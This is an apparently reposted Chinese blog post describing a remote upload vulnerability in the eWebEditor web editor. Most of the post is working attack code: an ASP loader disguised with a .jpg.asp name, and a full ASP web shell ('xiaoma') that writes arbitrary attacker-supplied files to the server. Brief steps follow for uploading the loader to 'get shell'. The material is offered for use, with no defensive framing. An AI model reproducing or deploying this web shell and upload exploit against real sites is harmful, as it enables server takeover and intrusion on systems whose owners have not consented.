• 2010/12/15 作者: admin

ewebditor远程文件上传漏洞

每个版本的更新后让我们拿权限变得更难了，最近ewebditor蛋疼的又暴漏洞了 – 远程上传漏洞。

漏洞描述：

远程上传时执行代码，导致get shell
1.把x.jpg.asp xiaoma.ASa放在同一目录下小马代码：
——————x.jpg.asp ————————————————————————————————————

<ol>
	<li>&lt;%</li>
	<li>Set fs = CreateObject("Scripting.FileSystemObject")</li>
	<li>Set MyTextStream=fs.OpenTextFile(server.MapPath("\xiaoma.asp"),1,false,0)</li>
	<li>Thetext=MyTextStream.ReadAll</li>
	<li>response.write thetext</li>
	<li>%&gt;</li>
</ol>

<ol>

<li>Set fs = CreateObject("Scripting.FileSystemObject")</li>

<li>Set MyTextStream=fs.OpenTextFile(server.MapPath("\xiaoma.asp"),1,false,0)</li>

<li>Thetext=MyTextStream.ReadAll</li>

<li>response.write thetext</li>

</ol>

——————————————————————x.jpg.asp————————————————————
————————xiaoma.ASa——————————————————————————

<ol>
	<li>&lt;%on error resume next%&gt;</li>
	<li>&lt;%ofso="scripting.filesystemobject"%&gt;</li>
	<li>&lt;%set fso=server.createobject(ofso)%&gt;</li>
	<li>&lt;%path=request("path")%&gt;</li>
	<li>&lt;%if path&lt;&gt;"" then%&gt;</li>
	<li>&lt;%data=request("dama")%&gt;</li>
	<li>&lt;%set dama=fso.createtextfile(path,true)%&gt;</li>
	<li>&lt;%dama.write data%&gt;</li>
	<li>&lt;%if err=0 then%&gt;</li>
	<li>&lt;%="success"%&gt;</li>
	<li>&lt;%else%&gt;</li>
	<li>&lt;%="false"%&gt;</li>
	<li>&lt;%end if%&gt;</li>
	<li>&lt;%err.clear%&gt;</li>
	<li>&lt;%end if%&gt;</li>
	<li>&lt;%dama.close%&gt;</li>
	<li>&lt;%set dama=nothing%&gt;</li>
	<li>&lt;%set fos=nothing%&gt;</li>
	<li>&lt;%="&lt;form action='' method=post&gt;"%&gt;</li>
	<li>&lt;%="&lt;input type=text name=path&gt;"%&gt;</li>
	<li>&lt;%="&lt;br&gt;"%&gt;</li>
	<li>&lt;%=server.mappath(request.servervariables("script_name"))%&gt;</li>
	<li>&lt;%="&lt;br&gt;"%&gt;</li>
	<li>&lt;%=""%&gt;</li>
	<li>&lt;%="&lt;textarea name=dama cols=50 rows=10 width=30&gt;&lt;/textarea&gt;"%&gt;</li>
	<li>&lt;%="&lt;br&gt;"%&gt;</li>
	<li>&lt;%="&lt;input type=submit value=save&gt;"%&gt;</li>
	<li>&lt;%="&lt;/form&gt;"%&gt;</li>
</ol>

<ol>

</ol>

————————xiaoma.ASa——————————————————————————
2.远程上传x.jpg.asp
会自动执行脚本，你们懂得。

本文摘自网络由网络安全(www.91ri.org)收集整理.

打开微信“扫一扫”，打开网页后点击屏幕右上角分享按钮

4条回应：“ewebditor远程文件上传漏洞”

今日更新+0

Feature Tags